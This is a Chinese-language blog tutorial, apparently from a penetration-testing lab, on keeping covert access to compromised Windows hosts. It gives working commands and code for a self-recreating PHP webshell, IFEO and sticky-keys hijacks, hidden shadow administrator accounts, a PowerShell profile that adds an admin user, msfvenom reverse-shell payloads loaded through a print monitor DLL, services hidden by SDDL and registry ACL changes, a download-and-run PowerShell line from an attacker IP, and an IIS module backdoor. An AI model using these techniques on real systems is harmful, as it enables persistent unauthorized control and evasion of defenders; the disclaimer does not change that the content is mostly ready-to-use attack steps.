• Windows 权限维持手法


    Windows 权限维持

    本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

    PHP 不死马权限维持

    
    ignore_user_abort();
    set_time_limit(0);
    $inttime = 10;
    do {
        $filename = "test.php";
        if (file_exists($filename)){
            echo "ok";
        } else {
            $file = fopen("test.php", "w");
            $txt = "";
    
            fwrite($file,$txt);
            fclose($file);
    
        }
    
        sleep($inttime);
    } while (true);
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    这代码的意思是每隔10秒查看当前目录下是否有test.php这个文件,如果没有就生成文件

    其中$txt 中的内容为我们的php后门代码。我们可以在文件夹中把文件隐藏勾选来进一步的隐藏文件。

    file

    映像劫持技术(不推荐)

    我们先使用cs或者msf生成一个木马

    msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.150.145 LPORT=7777 -f exe > shell.exe
    
    # msf启动监听
    use exploit/multi/handler
    set payload windows/meterpreter_reverse_tcp
    set lhost 192.168.150.145
    set lport 7777
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在运行中输入 regedit 打开注册表

    在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建了一个
    moon.exe
    然后在moon.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径,我这里以
    cmd.exe为例。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TpUSaQ7x-1658305140728)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1658304877468.png)]

    在桌面 修改一个文件的文件名为moon.exe 双击 即可触发。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bkQRhDsc-1658305140728)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1658304887728.png)]

    如果想写入后门 把 路径换成你后门地址即可

    开机运行维持

    进入到下面的目录,把木马放在里面

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

    file

    里面的内容在开机后会自动执行

    file

    shift后门

    首先 更改sethc.exe拥有者 为administrator

    然后我们修改木马文件名字为sethc.exe并替换

    file

    我们连续按Shift 5下就会运行后门文件

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uLsO0HCX-1658305140730)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1658304917746.png)]

    这里有一个前提条件是我们能够远程登录到主机,要不然我们按Shift也没有用

    建立影子账号(推荐)

    在拿到服务器后会创建一个带$符号的账户,在常规cmd下是无法查看到的。

    但是通过管理用户还是可以查到用户

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ac4KWptr-1658305140731)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1658304926169.png)]

    我们可以通过创建影子账号来完全解决这个问题

    打开注册表进入到 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User

    这里有个坑,我们必须给 SAM 给于全部权限。要不然不能够查看下面的内容

    file

    我们把属于管理员的F项的值复制替换到我们新添加的用户 lian$ 的F项中,然后导出F项和账号lian$

    file

    我们可以使用命令进行删除在账号或者使用图形化删除账号

    net user lian$ /del

    然后我们点击我们导出的注册表进行导入就完成了影子账号的添加

    file

    我们使用远程登录测试一下是否成功

    file

    在连接之前别忘了关闭防火墙,连接成功!

    powershell配置文件后门

    Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限。

    依次输入以下命令,查看当前是否存在配置文件

    echo $profile
    Test-path $profile
    
    • 1
    • 2

    如果返回false则需要创建一个

    New-Item -Path $profile -Type File –Force

    然后写入命令,这里我以创建一个用户为目标,也可以写成反弹shell的,因为之前测试过程中写入过数据,所以这里我是三条内容。

    test.bat内容

    net user moon passwd@123 /add & net localgroup administrators moon /add
    
    • 1

    这里的C:\Windows\Speech\test.bat是我的后门文件位置,实战情况下,各位需要按照实际文件路径来修改

    $string = 'Start-Process "C:\Windows\Speech\test.bat"'
    $string | Out-File -FilePath $profile -Append
    more $profile
    
    • 1
    • 2
    • 3

    file

    重新打开powershell就会自动执行

    file

    Monitor 权限维持

    项目地址: https://github.com/Al1ex/Monitor

    项目说明

    用于实现后渗透测试阶段权限维持

    项目使用

    1.下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示:

    #include "Windows.h"
    int main() {
    MONITOR_INFO_2 monitorInfo;
    TCHAR env[12] = TEXT("Windows x64");
    TCHAR name[12] = TEXT("Monitor");
    TCHAR dll[12] = TEXT("test.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = env;
    monitorInfo.pDLLName = dll;
    AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
    return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • pName //监视器名称
    • pEnvironment //环境架构
    • pDLLName //监视器DLL文件的名称

    2.使用Msfvenom生成dll攻击载荷:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > test.dll

    将test.dll复制到目标主机的system32目录下(也就是上面的PDLLName,你也可以自己修改为自己喜欢的)

    3.之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):

    4.之后成功接收到Meterpreter会话

    file

    持久化控制实现

    为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

    之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:

    reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

    file

    下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件
    下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹执行了

    file

    这样可以实现长期的权限控制,服务器重启后就会自动运行。

    利用安全描述符隐藏服务后门进行权限维持

    通过注册服务创建后门

    将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。

    • cmd创建自启动服务
    sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\test.exe" depend= Tcpip obj= Localsystem start= auto
    
    • 1
    • powershell创建自启动服务
    new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking 3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\test.exe" –StartupType AutomaticDelayedStart
    
    • 1

    但创建的服务很容易被发现 通过 sc query 和 Get-Service 很容易发现,直接查询服务也能看见

    file

    通过修改SDDL(安全描述符)隐藏服务

    众所周知,windows访问控制模型分为两部分:

    • access token(访问令牌)
    • 安全描述符

    安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:

    • 对象的所有者和主要组的 Sid(安全标识符)
    • 用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
    • 指定为对象生成审核记录的访问尝试类型的 SACL 。
    • 一组限制安全描述符或其各个成员的含义的控制位。

    windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

    sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
    
    • 1

    file

    然后通过sc与get-server查找服务均无结果:

    sc query |findstr ".NET CLR Networking 3.5.0.0"
    get-service | findstr ".NET CLR Networking 3.5.0.0"
    
    • 1
    • 2

    file

    在知道服务名的前提下查询会显示拒绝访问:

    sc query ".NET CLR Networking 3.5.0.0"

    file

    但这样做有一个问题:在注册表中很容易看到异常value。

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking 3.5.0.0

    file

    修改注册表ACL

    我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。
    这里给出一个通过powershell修改注册表项的访问权限的简单脚本:

    function Server-Sddl-Change{
    [CmdletBinding()]
     param
     (
       [parameter(Mandatory=$false)][String]$Name
     )
    $ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
    $S = $ROOT+$NAME
    $acl = Get-Acl $S
    $acl.SetAccessRuleProtection($true, $false)
    $person = [System.Security.Principal.NTAccount]"Everyone"
    $access = [System.Security.AccessControl.RegistryRights]"QueryValues"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Deny"
    $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    $person = [System.Security.Principal.NTAccount]"Everyone"
    $access =
    [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
    bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
    ePermissions,TakeOwnership"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl $S $acl
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    远程加载powershell脚本:

    powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.150.145/test.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
    
    • 1

    从下图可见已将值从该服务项中隐藏:

    file

    重启计算机 获取后门连接

    file

    详细过程文章地址: https://mp.weixin.qq.com/s/zAQOfdbxtDNLha2fdSjWyw

    iis后门

    web服务器上一般都 支持net 所以可以考虑利用net iis做一个后门

    项目GitHub地址: https://github.com/WBGlIl/IIS_backdoor

    在网站目录下新建一个bin文件夹 这个文件夹 存放dll集 把IIS_backdoor_dll.dll存放在这里面
    新建 web.config 或者在原有的文件上添加 内容

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
     <system.webServer>
       <modules>
    <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
       </modules>
     </system.webServer>
    </configuration>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    打开 IIS_backdoor_shell 把网址填写进去即可

    file

    window 隐藏技术

    使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
    这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见:

    Attrib +s +a +h +r shell.php
    
    • 1

    file

    这样算是隐藏 其实还有查看方法

    file

  • 相关阅读:
    【Vue五分钟】 五分钟让你读懂什么是事件绑定
    Nacos源码分析专题(四)-服务发现
    R语言时间序列数据算术运算:使用log函数将时间序列数据的数值对数化(平方、开平方、指数化等函数类似使用)
    VUE3 学习小记(1)
    Vue中事件修饰符与键盘事件
    Redis学习笔记17:基于spring data redis及lua脚本批处理scan指令查询永久有效的key
    Greenplum-表分区
    A. The Party and Sweets
    【解刊】IEEE旗下Trans系列,中科院1区TOP,国人占比79.388%排名第一!(附IEEE名单)
    MySQL recursive 递归
  • 原文地址:https://blog.csdn.net/qq_53742230/article/details/125894877